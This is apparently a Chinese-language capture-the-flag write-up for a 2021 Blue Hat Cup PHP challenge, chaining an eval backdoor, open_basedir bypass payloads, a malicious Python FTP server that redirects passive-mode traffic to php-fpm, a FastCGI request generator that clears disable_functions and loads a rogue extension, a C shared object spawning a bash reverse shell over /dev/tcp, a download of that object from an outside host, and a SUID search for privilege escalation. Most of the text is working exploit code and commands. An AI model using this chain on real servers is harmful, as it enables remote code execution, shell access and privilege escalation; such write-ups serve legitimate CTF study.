前言
当时2021年蓝帽杯(好像是初赛?)做的时候就好像没多看过这题,只了解到要打php-fpm,完全没想到可以用ftp来打。结果今年偶尔看到这道题发现还是不会呃呃了实属是一年又一年该不会还是不会。
这下长记性了
类似题目参考:[陇原战疫2021网络安全大赛] eaaasyphp
知识点
fastcgi与php-fpm
定义
百度百科给出的描述如下
公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI,可用任何语言编写CGI,包括流行的C、C ++、Java、VB 和Delphi 等。CGI分为标准CGI和间接CGI两种。标准CGI使用命令行参数或环境变量表示服务器的详细请求,服务器与浏览器通信采用标准输入输出方式。间接CGI又称缓冲CGI,在CGI程序和CGI接口之间插入一个缓冲程序,缓冲程序与CGI接口间用标准输入输出进行通信
图片来自参考链接(超级棒的图一眼就看懂了)


php-fpm 是用来调度、管理 php-cgi 的一个程序。
php-fpm 未授权访问攻击
浅析php-fpm的攻击方式 - 先知社区 (aliyun.com)
从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台 (anquanke.com)
fastcgi的利用 php-fastcgi-remote-exploit.md
open_basedir 绕过
- 原生类+glob协议(只能列目录) - PHP绕过open_basedir列目录的研究 | 离别歌 (leavesongs.com) | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?php$dir=new DirectoryIterator('glob:///*');
 foreach($dir as $d){
 echo $d->__toString().'</br>';
 }
 ?>
 <?php
 print_r(ini_get("open_basedir")."</br>");
 $dir=new FilesystemIterator('glob:///www/wwwroot/test/*');
 foreach($dir as $d){
 echo $d->__toString().'</br>';
 }
 ?>
 
 |  
 
- ini_set | 1
 | mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/hosts');
 |  
 
- symlink | 12
 3
 4
 5
 
 | mkdir("A");chdir("A");mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");symlink("A/B/C/D","test");
 symlink("test/../../../../etc/passwd","exp");
 unlink("test");
 mkdir("test");
 
 |  
 
- 原理:test本来是符号链接 test->A/B/C/D exp->test/../../../../etc/passwd -> A/B/C/D/../../../../etc/passwd。 - 但是unlink了test,再重新创建了test文件夹,exp就变成了 -> test/../../../../etc/passwd。 
注:没禁 system 等直接执行命令的函数直接用
ftp协议导致的ssrf
FTP 支持两种模式,一种方式叫做 Standard(也就是 PORT 方式,主动方式),一种是 Passive(也就是PASV,被动方式)。 Standard 模式 FTP 的客户端发送 PORT 命令到 FTP 服务器。Passive 模式 FTP 的客户端发送 PASV 命令到 FTP 服务器。
PORT方式
ftp客户端与服务器连接在指定端口上(21),但是数据传输并不是在这个端口上。通信过程中会使用 PORT 指令协商一个新的端口。端口号由客户端指定,服务端用20端口连接到客户端指定的端口传输数据。
PASV被动方式
FTP 客户端和 FTP 服务器的 TCP 21 端口建立连接,但建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求。
在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的
| 1
 | 227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n
 | 
在这个过程中如果我们自己起一个恶意的服务端来指定客户端去连接到我们想要的 ip 与端口即可达成 ssrf 攻击。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.bind(('0.0.0.0', 23))
 s.listen(1)
 conn, addr = s.accept()
 conn.send(b'220 welcome\n')
 
 
 
 conn.send(b'331 Please specify the password.\n')
 
 
 
 conn.send(b'230 Login successful.\n')
 
 
 conn.send(b'200 Switching to Binary mode.\n')
 
 conn.send(b'550 Could not get the file size.\n')
 
 conn.send(b'150 ok\n')
 
 conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n')
 conn.send(b'150 Permission denied.\n')
 
 conn.send(b'221 Goodbye.\n')
 conn.close()
 
 | 
当客户端连接到我们的服务器后,会被重定向到这里指定的ip与端口 (127,0,0,1,0,9001) 并且发送数据,成功达成 ssrf 目的。
| 12
 3
 4
 5
 6
 
 | <?php$file = $_GET['file'];
 $data = $_GET['data'];
 file_put_contents($file,$data);
 
 
 
 | 
加载恶意so扩展弹shell
| 12
 3
 4
 5
 6
 7
 8
 
 | #define _GNU_SOURCE#include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
 
 __attribute__ ((__constructor__)) void preload (void){
 system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
 }
 
 | 
| 1
 | gcc evil.c -fPIC -shared -o evil.so
 | 
suid 提权
懂得都懂 不多写了
| 1
 | find / -perm -u=s -type f 2>/dev/null
 | 
Linux SUID 提权 | Str3am’s Blog (jlkl.github.io)
整体流程总结
使用  file_put_contents 访问我们自己搭建的恶意 ftp 服务器,我们的 ftp 使用 
| 1
 | 227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n
 | 
来让他重定向到服务器上的 php-fpm 服务器来发送伪造的恶意请求,来加载上传的恶意扩展 .so 文件,然后弹 shell ,再 suid 提权。
writeup
溢出即可
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <?phpinclude "user.php";
 if($user=unserialize($_COOKIE["data"])){
 $count[++$user->count]=1;
 if($count[]=1){
 $user->count+=1;
 setcookie("data",serialize($user));
 }else{
 eval($_GET["backdoor"]);
 }
 }else{
 $user=new User;
 $user->count=1;
 setcookie("data",serialize($user));
 }
 ?>
 
 
 | 
cookie设置为如上然后进入eval。

一堆disable func
注意到如下信息
| 12
 
 | open_basedir:/var/www/htmlphp-fpm:active
 
 | 
利用  ini_set('open_basedir', ',,');chdir('..') 绕过
| 12
 3
 
 | backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
 backdoor=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));
 
 | 
读不到flag,再看 /usr/local/etc/php/php.ini
打的时候发现报错是nginx的,顺便看一下nginx的配置文件,找到 fastcgi_pass 的端口
上传编译好的恶意so扩展文件
| 12
 
 | mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");
 
 | 
然后就需要利用 php-fpm 伪造来加载我们的恶意 so,通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展。
我们需要利用 ssrf 来攻击服务器上的 php-fpm ,但是这里的disablefunc太多。需要一个可以发送二进制包的协议,选择了ftp。
payload生成脚本 webcgi-exploits/fcgi_jailbreak.php at master · wofeiwo/webcgi-exploits (github.com)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 
 | <?php
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 class FCGIClient
 {
 const VERSION_1            = 1;
 const BEGIN_REQUEST        = 1;
 const ABORT_REQUEST        = 2;
 const END_REQUEST          = 3;
 const PARAMS               = 4;
 const STDIN                = 5;
 const STDOUT               = 6;
 const STDERR               = 7;
 const DATA                 = 8;
 const GET_VALUES           = 9;
 const GET_VALUES_RESULT    = 10;
 const UNKNOWN_TYPE         = 11;
 const MAXTYPE              = self::UNKNOWN_TYPE;
 const RESPONDER            = 1;
 const AUTHORIZER           = 2;
 const FILTER               = 3;
 const REQUEST_COMPLETE     = 0;
 const CANT_MPX_CONN        = 1;
 const OVERLOADED           = 2;
 const UNKNOWN_ROLE         = 3;
 const MAX_CONNS            = 'MAX_CONNS';
 const MAX_REQS             = 'MAX_REQS';
 const MPXS_CONNS           = 'MPXS_CONNS';
 const HEADER_LEN           = 8;
 
 
 
 
 private $_sock = null;
 
 
 
 
 private $_host = null;
 
 
 
 
 private $_port = null;
 
 
 
 
 private $_keepAlive = false;
 
 
 
 
 
 
 public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
 {
 $this->_host = $host;
 $this->_port = $port;
 }
 
 
 
 
 
 
 public function setKeepAlive($b)
 {
 $this->_keepAlive = (boolean)$b;
 if (!$this->_keepAlive && $this->_sock) {
 fclose($this->_sock);
 }
 }
 
 
 
 
 
 public function getKeepAlive()
 {
 return $this->_keepAlive;
 }
 
 
 
 private function connect()
 {
 if (!$this->_sock) {
 
 $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
 if (!$this->_sock) {
 throw new Exception('Unable to connect to FastCGI application');
 }
 }
 }
 
 
 
 
 
 
 
 private function buildPacket($type, $content, $requestId = 1)
 {
 $clen = strlen($content);
 return chr(self::VERSION_1)
 . chr($type)
 . chr(($requestId >> 8) & 0xFF)
 . chr($requestId & 0xFF)
 . chr(($clen >> 8 ) & 0xFF)
 . chr($clen & 0xFF)
 . chr(0)
 . chr(0)
 . $content;
 }
 
 
 
 
 
 
 
 private function buildNvpair($name, $value)
 {
 $nlen = strlen($name);
 $vlen = strlen($value);
 if ($nlen < 128) {
 
 $nvpair = chr($nlen);
 } else {
 
 $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
 }
 if ($vlen < 128) {
 
 $nvpair .= chr($vlen);
 } else {
 
 $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
 }
 
 return $nvpair . $name . $value;
 }
 
 
 
 
 
 
 private function readNvpair($data, $length = null)
 {
 $array = array();
 if ($length === null) {
 $length = strlen($data);
 }
 $p = 0;
 while ($p != $length) {
 $nlen = ord($data{$p++});
 if ($nlen >= 128) {
 $nlen = ($nlen & 0x7F << 24);
 $nlen |= (ord($data{$p++}) << 16);
 $nlen |= (ord($data{$p++}) << 8);
 $nlen |= (ord($data{$p++}));
 }
 $vlen = ord($data{$p++});
 if ($vlen >= 128) {
 $vlen = ($nlen & 0x7F << 24);
 $vlen |= (ord($data{$p++}) << 16);
 $vlen |= (ord($data{$p++}) << 8);
 $vlen |= (ord($data{$p++}));
 }
 $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
 $p += ($nlen + $vlen);
 }
 return $array;
 }
 
 
 
 
 
 
 private function decodePacketHeader($data)
 {
 $ret = array();
 $ret['version']       = ord($data{0});
 $ret['type']          = ord($data{1});
 $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
 $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
 $ret['paddingLength'] = ord($data{6});
 $ret['reserved']      = ord($data{7});
 return $ret;
 }
 
 
 
 
 
 private function readPacket()
 {
 if ($packet = fread($this->_sock, self::HEADER_LEN)) {
 $resp = $this->decodePacketHeader($packet);
 $resp['content'] = '';
 if ($resp['contentLength']) {
 $len  = $resp['contentLength'];
 while ($len && $buf=fread($this->_sock, $len)) {
 $len -= strlen($buf);
 $resp['content'] .= $buf;
 }
 }
 if ($resp['paddingLength']) {
 $buf=fread($this->_sock, $resp['paddingLength']);
 }
 return $resp;
 } else {
 return false;
 }
 }
 
 
 
 
 
 
 public function getValues(array $requestedInfo)
 {
 $this->connect();
 $request = '';
 foreach ($requestedInfo as $info) {
 $request .= $this->buildNvpair($info, '');
 }
 fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
 $resp = $this->readPacket();
 if ($resp['type'] == self::GET_VALUES_RESULT) {
 return $this->readNvpair($resp['content'], $resp['length']);
 } else {
 throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
 }
 }
 
 
 
 
 
 
 
 public function request(array $params, $stdin)
 {
 $response = '';
 
 $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
 $paramsRequest = '';
 foreach ($params as $key => $value) {
 $paramsRequest .= $this->buildNvpair($key, $value);
 }
 if ($paramsRequest) {
 $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
 }
 $request .= $this->buildPacket(self::PARAMS, '');
 if ($stdin) {
 $request .= $this->buildPacket(self::STDIN, $stdin);
 }
 $request .= $this->buildPacket(self::STDIN, '');
 echo('data='.urlencode($request));
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 }
 }
 ?>
 <?php
 
 
 
 
 
 
 
 
 
 
 $filepath = "/var/www/html/add_api.php";
 $req = '/'.basename($filepath);
 $uri = $req .'?'.'command=whoami';
 $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
 $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>";
 $php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
 $params = array(
 'GATEWAY_INTERFACE' => 'FastCGI/1.0',
 'REQUEST_METHOD'    => 'POST',
 'SCRIPT_FILENAME'   => $filepath,
 'SCRIPT_NAME'       => $req,
 'QUERY_STRING'      => 'command=whoami',
 'REQUEST_URI'       => $uri,
 'DOCUMENT_URI'      => $req,
 
 'PHP_VALUE'         => $php_value,
 'SERVER_SOFTWARE'   => 'aaa/bbb',
 'REMOTE_ADDR'       => '127.0.0.1',
 'REMOTE_PORT'       => '9001',
 'SERVER_ADDR'       => '127.0.0.1',
 'SERVER_PORT'       => '80',
 'SERVER_NAME'       => 'localhost',
 'SERVER_PROTOCOL'   => 'HTTP/1.1',
 'CONTENT_LENGTH'    => strlen($code)
 );
 
 
 
 echo $client->request($params, $code)."\n";
 ?>
 
 | 
本地开好恶意ftp server,然后打
| 1
 | backdoor=$file=$_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp:
 | 
ftp 被重定向到服务器的 127.0.0.1:9001,成功把伪造的请求发送给 php-fpm,加载了恶意 so 弹shell 成功。
最后 suid 提权,php 就有权限。php -a 交互模式读 flag 结束。
参考
这个最全最好 给我狠狠的看! 奇安信攻防社区-浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法 (butian.net)
[蓝帽杯 2021]One Pointer PHP_w0s1np的博客-CSDN博客
两道CTF题–FTP被动模式打php-fpm_Z3eyOnd的博客-CSDN博客
从一道CTF学习Fastcgi绕过姿势-安全客 - 安全资讯平台 (anquanke.com)
webcgi-exploits/php-fastcgi-remote-exploit.md at master · wofeiwo/webcgi-exploits (github.com)
PHP-FPM && PHP-CGI && FASTCGI – h0cksr’s_Blog